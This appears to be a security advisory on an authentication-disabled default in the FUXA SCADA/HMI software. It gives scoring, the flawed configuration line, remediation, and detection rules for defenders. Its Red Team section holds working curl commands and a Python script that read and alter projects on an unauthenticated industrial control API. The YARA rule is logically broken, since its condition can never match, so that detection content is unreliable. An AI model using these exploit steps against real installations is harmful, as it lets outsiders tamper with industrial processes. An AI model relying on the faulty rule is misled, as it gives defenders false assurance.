CVE-2025-69970

Executive Summary

CVE-2025-69970 is a critical security vulnerability in FUXA v1.2.7, an open-source web-based SCADA/HMI software used for industrial automation and monitoring. The vulnerability stems from an insecure default configuration in the server/settings.default.js file, where the secureEnabled flag is commented out by default. This causes the application to initialize with authentication completely disabled, allowing any unauthenticated remote attacker to access sensitive API endpoints, modify projects, and control industrial equipment immediately after installation.

The vulnerability has a CVSS score of 10.0 (Critical) due to the lack of authentication, network accessibility, and the potential for full compromise of confidentiality, integrity, and availability. No official patch has been released by the vendor, and the exploit is publicly known. This poses a severe risk to industrial environments where FUXA is deployed, as attackers can directly manipulate industrial processes without any credentials.

Supply Chain & Package Security

FUXA is distributed as an npm package (@frangoteam/fuxa). The insecure default configuration is embedded in the package source code, meaning any installation via npm will inherit this vulnerability unless manually corrected. Organizations using FUXA in their supply chain must audit their deployments and apply the manual fix immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – Full access to sensitive project data and system configuration.
• Integrity Impact: High (I:H) – Ability to modify projects and control industrial equipment.
• Availability Impact: High (A:H) – Potential to disrupt industrial processes.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete control over the FUXA instance and connected industrial equipment.

Deep Dive & Mechanics

The vulnerability is rooted in the default configuration file server/settings.default.js. In FUXA v1.2.7, the line that enables authentication (secureEnabled: true) is commented out:

// secureEnabled: true,

When the application starts, it reads this configuration file. Since secureEnabled is not explicitly set to true, the application initializes with authentication disabled. This means all API endpoints, including those for project management, device control, and system configuration, are accessible without any credentials.

The affected API endpoints include, but are not limited to:

• /api/projects – List, create, modify, and delete projects.
• /api/devices – Control and monitor connected industrial devices.
• /api/settings – Modify application settings.
• /api/users – Manage user accounts (if authentication were enabled).

An attacker can send HTTP requests directly to these endpoints and perform any action without authentication. This is particularly dangerous in industrial environments where FUXA is used to control PLCs, RTUs, and other critical infrastructure.

Vulnerable vs. Patched Code

Vulnerable Code (v1.2.7):

// server/settings.default.js
module.exports = {
    port: 1881,
    // secureEnabled: true,
    // other settings...
};

Patched Code (Manual Fix):

// server/settings.default.js
module.exports = {
    port: 1881,
    secureEnabled: true,
    // other settings...
};

The fix is to uncomment the secureEnabled: true line. After making this change, the application will require authentication for all API endpoints. Users must also configure user accounts and authentication mechanisms as per FUXA documentation.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install FUXA v1.2.7 on a test machine (e.g., Ubuntu 22.04):

   npm install -g @frangoteam/fuxa@1.2.7
   fuxa
   

2. The application will start on port 1881 by default.

Exploitation Steps:

1. Verify the vulnerability by accessing the API without authentication:

   curl http://target:1881/api/projects
   

   This should return a list of projects (or an empty array) without any authentication challenge.

2. Create a new project:

   curl -X POST http://target:1881/api/projects -H "Content-Type: application/json" -d '{"name":"MaliciousProject","description":"Pwned"}'
   

3. Modify an existing project or control a device:

   curl -X PUT http://target:1881/api/projects/1 -H "Content-Type: application/json" -d '{"name":"ModifiedProject"}'
   

4. For full control, an attacker can write a script to enumerate all endpoints and perform actions.

Automated Exploit Script (Python):

import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:1881"

# List projects
r = requests.get(f"{target}/api/projects")
print("Projects:", r.text)

# Create a malicious project
r = requests.post(f"{target}/api/projects", json={"name": "Pwned", "description": "Compromised"})
print("Create project:", r.status_code)

Blue Team

Detection Steps:

1. Monitor for unauthorized API access to FUXA endpoints (port 1881 by default).
2. Look for requests to /api/projects, /api/devices, /api/settings, /api/users without prior authentication.
3. Check for unusual project creation or modification events.
4. Verify that secureEnabled is set to true in the configuration file.

Honeypot Setup: Deploy a decoy FUXA instance with the vulnerable configuration to attract attackers and log their activities.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unauthenticated HTTP requests to FUXA API endpoints (e.g., /api/projects, /api/devices).
  • Source IP addresses making multiple API calls without authentication.
  • Unusual project names or descriptions in API logs.

• File IOCs:

  • The presence of secureEnabled: false or commented-out secureEnabled in server/settings.default.js.
  • Modified project files in the FUXA data directory.

• Behavioral IOCs:

  • Sudden changes to industrial equipment settings or states.
  • Unauthorized creation or deletion of user accounts (if authentication was later enabled).
  • Unexpected system reboots or configuration changes.

Detection Engineering

YARA Rule

rule CVE_2025_69970_FUXA_Insecure_Default
{
    meta:
        description = "Detects FUXA v1.2.7 insecure default configuration"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69970"
    strings:
        $config = "secureEnabled" nocase
        $commented = "// secureEnabled" nocase
    condition:
        $commented and not $config ascii
}

Sigma Rule

title: FUXA Insecure Default Configuration Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to FUXA API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: fuxa
detection:
    selection:
        cs-method: 
            - 'GET'
            - 'POST'
            - 'PUT'
            - 'DELETE'
        cs-uri-stem:
            - '/api/projects*'
            - '/api/devices*'
            - '/api/settings*'
            - '/api/users*'
    condition: selection
falsepositives:
    - Legitimate users if authentication is enabled
level: critical

Suricata Rule

alert http any any -> any 1881 (msg:"CVE-2025-69970 FUXA Unauthenticated API Access"; flow:to_server; content:"/api/"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manual Fix: Edit server/settings.default.js and uncomment the line secureEnabled: true. Then restart the FUXA service.
2. Network Segmentation: Place FUXA instances behind a firewall and restrict access to trusted IP addresses only.
3. Authentication Enforcement: Ensure that authentication is enabled and strong passwords are used for all user accounts.

Long-Term Measures:

1. Vendor Patch: Monitor the FUXA GitHub repository for an official patch. If none is released, consider forking the project and applying the fix permanently.
2. Regular Audits: Periodically review configuration files for insecure defaults.
3. Intrusion Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
4. Least Privilege: Run FUXA with minimal necessary privileges and use containerization to limit blast radius.

Workaround: If the configuration file cannot be modified, use a reverse proxy (e.g., Nginx) to add authentication before requests reach the FUXA backend.

Valters IT